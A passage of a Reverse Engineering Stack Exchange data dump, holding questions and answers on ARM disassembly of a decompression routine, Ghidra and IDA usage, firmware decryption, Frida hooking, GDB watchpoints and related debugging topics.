e25aa001 subs r10, r10, #0x1&#xA;[0300:00e4] 44916004 ldrmi r6, [r1], #0x4&#xA;[0300:00e8] 43a0a01f movmi r10, #0x1f&#xA;[0300:00ec] e0966006 adds r6, r6, r6&#xA;[0300:00f0] 2afffff4 bcs $030000c8&#xA;[0300:00f4] eaffffda b $03000064&#xA;[0300:00f8] e3a04000 mov r4, #0x0                           &#xA;[0300:00fc] e25aa001 subs r10, r10, #0x1                    &#xA;[0300:0100] 44916004 ldrmi r6, [r1], #0x4                   &#xA;[0300:0104] 43a0a01f movmi r10, #0x1f                       &#xA;[0300:0108] e0966006 adds r6, r6, r6                        &#xA;[0300:010c] e2a43007 adc r3, r4, #0x7                       &#xA;[0300:0110] e3530008 cmps r3, #0x8                          &#xA;[0300:0114] 0affffd2 beq $03000064                          &#xA;[0300:0118] e3a08008 mov r8, #0x8&#xA;[0300:011C] eb00005a bl $0300028c       &#xA;[0300:0120] e1a04007 mov r4, r7                             &#xA;[0300:0124] eaffffce b $03000064          &#xA;[0300:0128] e7507007 ldrb r7, [r0, -r7]                     &#xA;[0300:012c] eaffffcb b $03000060                &#xA;[0300:0130] e3a08007 mov r8, #0x7&#xA;[0300:0134] eb000054 bl $0300028c       &#xA;[0300:0138] e3570000 cmps r7, #0x0                          &#xA;[0300:013c] 0a000006 beq $0300015c                          &#xA;[0300:0140] e1a0c007 mov r12, r7&#xA;[0300:0144] e3a08002 mov r8, #0x2&#xA;[0300:0148] eb00004f bl $0300028c        &#xA;[0300:014C] e2879002 add r9, r7, #0x2&#xA;[0300:0150] e35c0001 cmps r12, #0x1                         &#xA;[0300:0154] 1a000042 bne $03000264&#xA;[0300:0158] ea000046 b $03000278&#xA;[0300:015c] e3a08002 mov r8, #0x2&#xA;[0300:0160] eb000049 bl $0300028c       &#xA;[0300:0164] e3570000 cmps r7, #0x0                          &#xA;[0300:0168] 0a000059 beq $030002d4&#xA;[0300:016C] e2878003 add r8, r7, #0x03&#xA;[0300:0170] eb000045 bl $0300028c       &#xA;[0300:0174] e1a05007 mov r5, r7                             &#xA;[0300:0178] eaffffb9 b $03000064                                                                      &#xA;[0300:017c] e3a09001 mov r9, #0x1                           &#xA;[0300:0180] e25aa001 subs r10, r10, #0x1                    &#xA;[0300:0184] 44916004 ldrmi r6, [r1], #0x4                   &#xA;[0300:0188] 43a0a01f movmi r10, #0x1f                       &#xA;[0300:018c] e0966006 adds r6, r6, r6                        &#xA;[0300:0190] e0a99009 adc r9, r9, r9                         &#xA;[0300:0194] e25aa001 subs r10, r10, #0x1                    &#xA;[0300:0198] 44916004 ldrmi r6, [r1], #0x4                   &#xA;[0300:019c] 43a0a01f movmi r10, #0x1f                       &#xA;[0300:01a0] e0966006 adds r6, r6, r6                        &#xA;[0300:01a4] 2afffff5 bcs $03000180                          &#xA;[0300:01a8] e3590002 cmps r9, #0x2                          &#xA;[0300:01ac] 1a00000d bne $030001e8                          &#xA;[0300:01b0] e3a09001 mov r9, #0x1                           &#xA;[0300:01b4] e25aa001 subs r10, r10, #0x1                    &#xA;[0300:01b8] 44916004 ldrmi r6, [r1], #0x4                   &#xA;[0300:01bc] 43a0a01f movmi r10, #0x1f                       &#xA;[0300:01c0] e0966006 adds r6, r6, r6                        &#xA;[0300:01c4] e0a99009 adc r9, r9, r9                         &#xA;[0300:01c8] e25aa001 subs r10, r10, #0x1                    &#xA;[0300:01cc] 44916004 ldrmi r6, [r1], #0x4                   &#xA;[0300:01d0] 43a0a01f movmi r10, #0x1f                       &#xA;[0300:01d4] e0966006 adds r6, r6, r6                        &#xA;[0300:01d8] 2afffff5 bcs $030001b4                          &#xA;[0300:01dc] e35c0001 cmps r12, #0x1                         &#xA;[0300:01e0] 1a00001f bne $03000264                          &#xA;[0300:01e4] ea000023 b $03000278        &#xA;[0300:01e8] e2499003 sub r9, r9, #0x3                       &#xA;[0300:01ec] e1a08005 mov r8, r5&#xA;[0300:01f0] eb000025 bl $0300028c        &#xA;[0300:01f4] e087c519 add r12, r7, r9, lsl r5                &#xA;[0300:01f8] e3a09001 mov r9, #0x1                           &#xA;[0300:01fc] e25aa001 subs r10, r10, #0x1                    &#xA;[0300:0200] 44916004 ldrmi r6, [r1], #0x4                   &#xA;[0300:0204] 43a0a01f movmi r10, #0x1f                       &#xA;[0300:0208] e0966006 adds r6, r6, r6                        &#xA;[0300:020c] e0a99009 adc r9, r9, r9                         &#xA;[0300:0210] e25aa001 subs r10, r10, #0x1                    &#xA;[0300:0214] 44916004 ldrmi r6, [r1], #0x4                   &#xA;[0300:0218] 43a0a01f movmi r10, #0x1f                       &#xA;[0300:021c] e0966006 adds r6, r6, r6                        &#xA;[0300:0220] 2afffff5 bcs $030001fc                          &#xA;[0300:0224] e35c0b40 cmps r12, #0x10000&#xA;[0300:0228] 22899003 addcs r9, r9, #0x3                     &#xA;[0300:022c] 2a00000c bcs $03000264                          &#xA;[0300:0230] e59f80f0 ldr r8, [$03000328] (=$000037ff)       &#xA;[0300:0234] e15c0008 cmps r12, r8                           &#xA;[0300:0238] 22899002 addcs r9, r9, #0x2                     &#xA;[0300:023c] 2a000008 bcs $03000264                          &#xA;[0300:0240] e59f80e4 ldr r8, [$0300032c] (=$0000027f)       &#xA;[0300:0244] e15c0008 cmps r12, r8                           &#xA;[0300:0248] 22899001 addcs r9, r9, #0x1                     &#xA;[0300:024c] 2a000004 bcs $03000264                          &#xA;[0300:0250] e35c007f cmps r12, #0x7f                        &#xA;[0300:0254] 8a000002 bhi $03000264                          &#xA;[0300:0258] e2899004 add r9, r9, #0x4                       &#xA;[0300:025c] e35c0001 cmps r12, #0x1                         &#xA;[0300:0260] 0a000004 beq $03000278&#xA;[0300:0264] e750800c ldrb r8, [r0, -r12]                    &#xA;[0300:0268] e4c08001 strb r8, [r0], #0x1                    &#xA;[0300:026c] e2599001 subs r9, r9, #0x1                      &#xA;[0300:0270] 1afffffb bne $03000264                          &#xA;[0300:0274] eaffff7a b $03000064&#xA;[0300:0278] e750800c ldrb r8, [r0, -r12]                    &#xA;[0300:027c] e4c08001 strb r8, [r0], #0x1                    &#xA;[0300:0280] e2599001 subs r9, r9, #0x1                      &#xA;[0300:0284] 1afffffc bne $0300027c                          &#xA;[0300:0288] eaffff75 b $03000064                          &#xA;[0300:028c] e35a0000 cmps r10, #0x0                         &#xA;[0300:0290] 04916004 ldreq r6, [r1], #0x4                   &#xA;[0300:0294] 03a0a020 moveq r10, #0x20                       &#xA;[0300:0298] e1a0b008 mov r11, r8                            &#xA;[0300:029c] e15b000a cmps r11, r10                          &#xA;[0300:02a0] 81a0b00a movhi r11, r10                         &#xA;[0300:02a4] e26b7020 rsb r7, r11, #0x20                     &#xA;[0300:02a8] e1a07736 mov r7, r6, lsr r7                     &#xA;[0300:02ac] e1a06b16 mov r6, r6, lsl r11                    &#xA;[0300:02b0] e04aa00b sub r10, r10, r11                      &#xA;[0300:02b4] e058800b subs r8, r8, r11                       &#xA;[0300:02b8] 012fff1e bxeq lr                  &#xA;[0300:02bc] e4916004 ldr r6, [r1], #0x4                     &#xA;[0300:02c0] e268a020 rsb r10, r8, #0x20                     &#xA;[0300:02c4] e1a0ba36 mov r11, r6, lsr r10                   &#xA;[0300:02c8] e08b7817 add r7, r11, r7, lsl r8                &#xA;[0300:02cc] e1a06816 mov r6, r6, lsl r8                     &#xA;[0300:02d0] e12fff1e bx lr&#xA;[0300:02d4] e8bd4ff0 ldmfd sp!, {r4-r11,lr}                 &#xA;[0300:02d8] e12fff1e bx lr                         &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27833" LastActivityDate="2019-03-18T19:41:24.060" Title="Reverse engineering a compression algorithm to decompress ASCII text (LZ-variant?)" Tags="|assembly|c|arm|decompress|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20905" PostTypeId="1" AcceptedAnswerId="21324" CreationDate="2019-03-17T20:28:24.097" Score="7" ViewCount="10678" Body="&lt;p&gt;Lately I'm using Ghidra and I don't find the API to get the control flow graph of a given function. Can someone help me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: it is different from the other question (&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/20791&quot;&gt;link&lt;/a&gt;) because I'm asking for the API.&lt;/p&gt;&#xA;" OwnerUserId="27835" LastEditorUserId="27835" LastEditDate="2019-03-18T09:46:12.187" LastActivityDate="2019-05-16T20:38:53.290" Title="Ghidra Control Flow Graph" Tags="|api|control-flow-graph|ghidra|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="20906" PostTypeId="2" ParentId="17693" CreationDate="2019-03-17T20:59:13.243" Score="2" Body="&lt;p&gt;The recent release of IDA 7.0 Free (March 2019) supports local debugging.&#xA;The description on the website hasn't been updated yet, but see the following tweet by one of the IDA authors:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Yes, we released the new IDA Freeware at the beginning of March, and yes, it includes native debuggers for all platforms. (Ilfak Guilfanov)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://twitter.com/ilfak/status/1106285550699450369&quot; rel=&quot;nofollow noreferrer&quot;&gt;Twitter&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Kv1jj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Kv1jj.png&quot; alt=&quot;IDA 7 Free with local debugger&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still, no support for remote debugging though.&lt;/p&gt;&#xA;" OwnerUserId="27837" LastActivityDate="2019-03-17T20:59:13.243" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20908" PostTypeId="2" ParentId="20881" CreationDate="2019-03-18T00:40:15.947" Score="4" Body="&lt;p&gt;Typically when cross-debugging a remote target with GDB, you do not try to preserve debug symbols in files loaded onto the target, but rather for reasons of space use only stripped binaries there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, you keep the versions with symbols intact (and potentially also associated sources) on your PC, and point the debugger at those.  If your files with debug symbols on the PC are the ancestors of the stripped files running on the remote target device, then the addresses match and the debugger can use those local files to lookup symbols for the addresses reported by the remote target.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pointing at local files with debug info is what the hints about &quot;set solib-search-path&quot; or &quot;set sysroot&quot; are suggesting to you, specifically for system libraries used by the program you are debugging.  Typically you would also invoke the debugger with a local copy of the program you want to debug, so that it can access the symbols (and perhaps even find the high level sources) of the program as well as the libraries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, this may not be all that relevant to you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, debugging the internals of system libraries is rarely interesting, unless you suspect a problem there.  Rather, what is interesting is the way in which an application &lt;em&gt;uses&lt;/em&gt; system libraries, ie the calls it makes and the results it gets (the same information you might get by running with &lt;code&gt;ltrace&lt;/code&gt; interception)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because &lt;em&gt;dynamic link symbols&lt;/em&gt; remain even in stripped executables, a good debugger when properly configured can decode dynamic link symbols and the Procedure Linkage Table (PLT) and identify the dynamic library functions being called, even when you have no other symbols or sources for either the system libraries or the program.&lt;/p&gt;&#xA;" OwnerUserId="2054" LastEditorUserId="2054" LastEditDate="2019-03-18T01:17:41.127" LastActivityDate="2019-03-18T01:17:41.127" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20909" PostTypeId="2" ParentId="20902" CreationDate="2019-03-18T07:12:59.420" Score="3" Body="&lt;p&gt;It is just addition/subtraction (mod 256).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3&#xA;# These key bytes are the two's complement of the hex sequence mentioned in the question.&#xA;# The string appears twice in the decrypted blob, which makes me think it's what is used.&#xA;key = [ord(n) for n in &quot;llp_owon&quot;]&#xA;&#xA;with open(&quot;AFG1022_V1.2.4.tfb&quot;, &quot;rb&quot;) as infile:&#xA;  data = infile.read()&#xA;outdata=bytearray()&#xA;for n in range(0, len(data)):&#xA;  outdata.append((data[n]+key[n%len(key)])&amp;amp;0xff)&#xA;with open(&quot;decrypted.bin&quot;, &quot;wb&quot;) as outfile:&#xA;  outfile.write(outdata)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Edit: Some extra information:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// all uint32_t values are little endian&#xA;struct section {&#xA;  uint32_t valid; // 0x00000001 if present, 0x00000000 if not&#xA;  uint32_t offset; // offset to beginning of this payload in this file&#xA;  uint32_t length; // length of this payload&#xA;  uint32_t crc32; // crc32 of the payload described by this section&#xA;};&#xA;&#xA;&#xA;// This is the header at the start of the firmware file&#xA;struct firmware_header {&#xA;  uint32_t crc32; // crc32 of file_contents[4:]&#xA;  uint8_t version[16]; // version string&#xA;  uint8_t package_type[12]; // package type string (&quot;UpgradePack&quot;)&#xA;  section s[8]; // the payloads, see above for the structure&#xA;  uint8_t model[40]]; // hardware model&#xA;};&#xA;&#xA;// Each section index accesses a specific path&#xA;const char *section_paths[8] = {&#xA;  &quot;/flash/boot/fp&quot;,&#xA;  &quot;/flash/boot/tx&quot;,&#xA;  &quot;/flash/boot/bmp&quot;,  // splashscreen bitmap&#xA;  &quot;/flash/boot/hz&quot;,&#xA;  &quot;/flash/boot/os&quot;,   // load at address 0x00000000, ARM&#xA;  &quot;/flash/boot/bios&quot;,&#xA;  &quot;/flash/boot/menu&quot;,&#xA;  &quot;/flash/boot/help&quot;,&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12017" LastEditorUserId="12017" LastEditDate="2019-03-18T23:43:16.113" LastActivityDate="2019-03-18T23:43:16.113" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20911" PostTypeId="1" CreationDate="2019-03-18T14:56:41.963" Score="1" ViewCount="325" Body="&lt;p&gt;I am in the process of analysing a large web assembly. I have the compiled .wasm file and using the tools available I can convert this to a .wat text representation. Currently, I am doing the following to convert each function within the wasm into its jit-ed assembly code:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// wasm is the binary; loaded from file&#xA;var module = new WebAssembly.Module(wasm);&#xA;var code = wasmExtractCode(module);&#xA;var regions = code.segments.filter(s =&amp;gt; s.kind === 0);&#xA;regions.map(function(seg) {&#xA;      var segmentcode = code.code.subarray(seg.funcBodyBegin, seg.funcBodyEnd);&#xA;      // segmentcode contains the assembly code&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way of using the code extracted in this way? Ideally, I'd like to generate a PE or some type of file I can drop in Ida and explore and analyse. I understand though that the format of wasm and PE files are fundamentally different and so this is a pretty big ask. If I dump the code from each function into a file and align each function properly, I can open the file in Ida and manually mark the function start and end, and I am then able to analyse it nicely. Doing this for over 27000 functions is a bit of an ask, though...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&#xA;TIA&lt;/p&gt;&#xA;" OwnerUserId="27846" LastActivityDate="2019-03-18T14:56:41.963" Title="Is there a way to generate a PE from a web assembly module?" Tags="|ida|x86|pe|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20912" PostTypeId="2" ParentId="20904" CreationDate="2019-03-18T19:41:24.060" Score="5" Body="&lt;p&gt;The code isn't easy to read since one has to do that statically and it doesn't seem to respect a standard EABI.&#xA;So, instead of trying to fully reverse engineer the code, I tried to search for the used constants instead and saw if the code matches with something:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It turned out the algorithm is &lt;a href=&quot;https://bitsum.com/portfolio/jcalg1/&quot; rel=&quot;noreferrer&quot;&gt;JCALG1&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made a &lt;a href=&quot;https://gist.github.com/wisk/e7deaacba9dbea812dc9b9753f7d8ebe&quot; rel=&quot;noreferrer&quot;&gt;quick and &lt;em&gt;very&lt;/em&gt; ugly PoC&lt;/a&gt; from a &lt;a href=&quot;https://ideone.com/nIOxwv&quot; rel=&quot;noreferrer&quot;&gt;code found&lt;/a&gt; on Internet and I obtain:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;I admire your enthusiasm. However, many of these fighters have been training for hundreds, evene fufuf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The end is corrupted, probably because end data is missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You probably want to rewrite the code yourself, so keep in mind you have to perform a bswap32 (change the endianness for a 32-bit value) and it seems you don't have any signature / header (remove the +10)&lt;/p&gt;&#xA;" OwnerUserId="26176" LastActivityDate="2019-03-18T19:41:24.060" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20915" PostTypeId="1" AcceptedAnswerId="20917" CreationDate="2019-03-19T08:33:17.727" Score="1" ViewCount="93" Body="&lt;p&gt;I'v examine the assembly output in Windows of basic singleton implementation of using static variable to be initialized with new class instance from static function. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;to my surprise, although the class has process-wide scope, the inner implementation uses access to TLS.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;myClass::getInstance()&#xA;{&#xA;    static v = new myClass();&#xA;    return v; &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the assembly output (the first relevant lines) : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push    rdi&#xA;sub     rsp, 40h&#xA;mov     rdi, rsp&#xA;mov     ecx, 10h&#xA;mov     eax, 0CCCCCCCCh&#xA;rep stosd&#xA;mov     [rsp+48h+var_18], 0FFFFFFFFFFFFFFFEh&#xA;mov     eax, 4&#xA;mov     eax, eax&#xA;mov     ecx, cs:_tls_index&#xA;mov     rdx, gs:58h&#xA;mov     rcx, [rdx+rcx*8]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Perhaps anybody can provide some insights about why this is needed (maybe performance) ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks &lt;/p&gt;&#xA;" OwnerUserId="19879" LastActivityDate="2019-03-19T10:39:59.953" Title="Startdard singleton class implementation generate access to TLS memory" Tags="|windows|c++|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20916" PostTypeId="1" CreationDate="2019-03-19T09:23:01.900" Score="0" ViewCount="30" Body="&lt;p&gt;i need to retrace database changes by an specific application.&#xA;The database is really big(~8GB) and contains over 300 tables, and some of the tables have &gt; 100 columns. Another Problem is, that the database design isnt beautiful, as example most tables arent converted into the third normal form and columnnames are not meaningful.&#xA;I only have a bit reverse experience with patching, debugging, and decompiling win32 PE Files. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Luckily i have a lot experience in manual malware analytics and understand x86_64(Linux) ASM and masm. Hopefully this knowledge will help me in this task.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so, my real question is, what are common approaches to understanding database changes and understanding what the different data mean?&lt;/p&gt;&#xA;" OwnerUserId="27854" LastActivityDate="2019-03-19T09:23:01.900" Title="How to retrace Database Changes from a Software" Tags="|pe|tracing|windows-10|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20917" PostTypeId="2" ParentId="20915" CreationDate="2019-03-19T10:39:59.953" Score="1" Body="&lt;p&gt;It's generated by the &lt;a href=&quot;https://docs.microsoft.com/en-us/cpp/build/reference/zc-threadsafeinit-thread-safe-local-static-initialization&quot; rel=&quot;nofollow noreferrer&quot;&gt;thread-safe local static initialization&lt;/a&gt; feature.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Thread-safe static local variables use thread-local storage (TLS) internally to provide efficient execution when the static has already been initialized.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2008/n2660.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; for the original proposal.&lt;/p&gt;&#xA;" OwnerUserId="12017" LastActivityDate="2019-03-19T10:39:59.953" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20919" PostTypeId="1" CreationDate="2019-03-19T11:55:30.130" Score="2" ViewCount="1910" Body="&lt;p&gt;&lt;code&gt;GDB&lt;/code&gt; has an option to set watchpoint on register*, how does it work ? what happens during context switching ? why the only implementation is for &lt;a href=&quot;https://chromium.googlesource.com/chromiumos/third_party/gdb/+/refs/heads/master/gdb/mips-linux-nat.c&quot; rel=&quot;nofollow noreferrer&quot;&gt;mips&lt;/a&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to make it work for &lt;code&gt;lldb&lt;/code&gt; also ?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;*&lt;code&gt;watch $eax == 0x0000ffff&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="22071" LastEditorUserId="22071" LastEditDate="2019-03-19T13:46:35.463" LastActivityDate="2019-12-14T18:02:05.233" Title="how watchpoint on register works" Tags="|gdb|debuggers|lldb|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20921" PostTypeId="2" ParentId="20865" CreationDate="2019-03-19T14:02:54.353" Score="1" Body="&lt;p&gt;You understand the situation incorrect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;windows.getAll()&lt;/code&gt; is JavaScript which the client, in this case, Firefox browser, is evaluating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Frida is injecting JavaScript code into Firefox. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ cat script.js&#xA;Interceptor.attach(Module.findExportByName(null, &quot;PR_Write&quot;), {&#xA;    onEnter: function (args) {&#xA;        console.log(Memory.readByteArray(args[1], args[2].toInt32() - 1));&#xA;    }&#xA;});&#xA;$ firefox &amp;amp;&#xA;[1] 4321&#xA;$ frida -p 4321 -l script.js&#xA;0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  0123456789ABCDEF&#xA;00000000  33 62 2f 32 bf eb 00 00 00 03 00 00 00 03 5c 90  3b/2..........\.&#xA;00000010  f5 48 5c 90 f5 48 40 2a ec a1 5e 6a 82 e6 00 00  .H\..H@*..^j....&#xA;00000020  00 46 00 00 00 00 3a 68 74 74 70 73 3a 2f 2f 77  .F....:https://w&#xA;00000030  77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72  ww.gstatic.com/r&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also invoke functions manually, override &amp;amp; intercept (inject code before &amp;amp; after execution).&lt;/p&gt;&#xA;" OwnerUserId="22071" LastActivityDate="2019-03-19T14:02:54.353" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20922" PostTypeId="2" ParentId="20919" CreationDate="2019-03-19T15:49:48.240" Score="2" Body="&lt;p&gt;You can probably find the details in GDB’s source code but I &lt;em&gt;think&lt;/em&gt; it just single-steps the program until the condition matches. IIRC this is done for any condition that can’t be handled by a hardware breakpoint. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-03-19T15:49:48.240" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20924" PostTypeId="1" CreationDate="2019-03-19T17:48:58.677" Score="1" ViewCount="297" Body="&lt;p&gt;I am looking for a tool (the best would be an Ida plugin) that can search files in a folder for a known hash (md5/sha1 etc.) and encryption (aes /rsa etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know an Ida plugin called &lt;code&gt;FindCrypt2&lt;/code&gt; but this plugin can search only on the file (exe/dll) that is loaded in Ida.&lt;/p&gt;&#xA;" OwnerUserId="27273" LastEditorUserId="13506" LastEditDate="2019-03-21T06:34:21.550" LastActivityDate="2019-03-21T06:34:21.550" Title="Tool to search known hash/encryption algo in files in Windows" Tags="|ida|encryption|hash-functions|ida-plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20926" PostTypeId="1" CreationDate="2019-03-19T22:25:22.357" Score="-1" ViewCount="1383" Body="&lt;p&gt;I used IDA pro to get the following disassembly code. I am having difficulty converting it into the equivalent c code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov dword ptr [ebp-8], 1&#xA;mov dword ptr [ebp-4], 0&#xA;loc_401014:&#xA; cmp dword ptr [ebp-4], 4&#xA; jge short loc_40102E&#xA; mov eax, [ebp-8]&#xA; add eax, [ebp-4]&#xA; mov [ebp-8], eax&#xA; mov ecx, [ebp-4]&#xA; add ecx, 1&#xA; mov [ebp-4], ecx&#xA; jmp short loc_401014&#xA;loc_40102E:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27482" LastEditorUserId="53" LastEditDate="2019-03-19T22:31:07.763" LastActivityDate="2019-03-20T08:43:48.570" Title="How can I convert the following disassembly code to pseudo code or C code?" Tags="|disassembly|x86|c|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20927" PostTypeId="2" ParentId="20926" CreationDate="2019-03-19T22:44:59.647" Score="2" Body="&lt;p&gt;This C code compiles to the equivalent of your assembly code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void f() {&#xA;    int b = 1;&#xA;    for (int a = 0; a&amp;lt;4; ++a) {&#xA;        b = b + a;&#xA;    }&#xA;    // disassembly finishes here but maybe there's something like below&#xA;    // return b;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The output on &lt;a href=&quot;https://gcc.godbolt.org/z/Jkm5Pq&quot; rel=&quot;nofollow noreferrer&quot;&gt;Compiler Explorer&lt;/a&gt; switches &lt;code&gt;[ebp-8]&lt;/code&gt; and &lt;code&gt;[ebp-4]&lt;/code&gt; and uses &lt;code&gt;eax&lt;/code&gt; rather than &lt;code&gt;ecx&lt;/code&gt; to increment the loop variable but it looks equivalent to what you wanted.&lt;/p&gt;&#xA;" OwnerUserId="12017" LastEditorUserId="12017" LastEditDate="2019-03-20T08:43:48.570" LastActivityDate="2019-03-20T08:43:48.570" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20928" PostTypeId="2" ParentId="20924" CreationDate="2019-03-20T00:26:11.590" Score="1" Body="&lt;p&gt;You could run &lt;a href=&quot;https://virustotal.github.io/yara/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Yara&lt;/a&gt; with a set of &lt;a href=&quot;https://github.com/Yara-Rules/rules/blob/master/Crypto/crypto_signatures.yar&quot; rel=&quot;nofollow noreferrer&quot;&gt;crypto signatures&lt;/a&gt;.  Is something like this what you are looking for?&lt;/p&gt;&#xA;" OwnerUserId="26921" LastActivityDate="2019-03-20T00:26:11.590" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20929" PostTypeId="1" CreationDate="2019-03-20T01:20:50.137" Score="1" ViewCount="264" Body="&lt;p&gt;&lt;strong&gt;Why I want to decrypt:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Intel 8265 Bluetooth is likely a RAMUSB device, which needs system to update firmware. I try to transplant this linux firmware to macOS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Problems I met:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://github.com/RehabMan/OS-X-BrcmPatchRAM&quot; rel=&quot;nofollow noreferrer&quot;&gt;macOS BT firmware loader&lt;/a&gt; needs .hex file. However, I have no idea how this .sfi file is encrypted and I have to extract the filesystem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I have done:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be honest, I am still in alpha stage. I try to make sense how linux deal with the firmware by studying &lt;a href=&quot;https://git.lxch.eu/git/mirror_ubuntu-artful-kernel/blob/master/drivers/base/firmware_class.c&quot; rel=&quot;nofollow noreferrer&quot;&gt;firmware_class.c&lt;/a&gt;. Really need some guide here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;readable output by &lt;code&gt;strings -n 10&lt;/code&gt; shows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Copyright (c) 1&#xA;996-2011 Express&#xA; Logic Inc. * Th&#xA;readX ARC600/Met&#xA;aWare Version G5&#xA; SN: 3306-09&#xA;Processing&#xA;#######*******11111118888888???????FFFFFFFMMMMMMMTTTTTTT[[[[[[[bbbbbbbiiiiiiipqr&#xA;ssssssszzzzzzz&#xA;Starved Poll Normal&#xA;oll Starved&#xA;BE Poll Normal&#xA;BE Poll Resync BE&#xA;BE Poll Resync GT&#xA;BE Poll Data Idle&#xA;BE Poll Data Data&#xA;BE Poll Data No Data&#xA;GT Poll Normal&#xA;GT Poll Resync&#xA;(*AB238&amp;lt;)+4567C&#xA;Lmp Rsp Pending&#xA;?0H6A&amp;lt;Z:S(l.e$~&quot;w&#xA;pSC_Thread&#xA;pHCI_Thread&#xA;pLLC_Thread&#xA;pLC_Thread&#xA;pSP_Thread&#xA;pLEC_Thread&#xA;  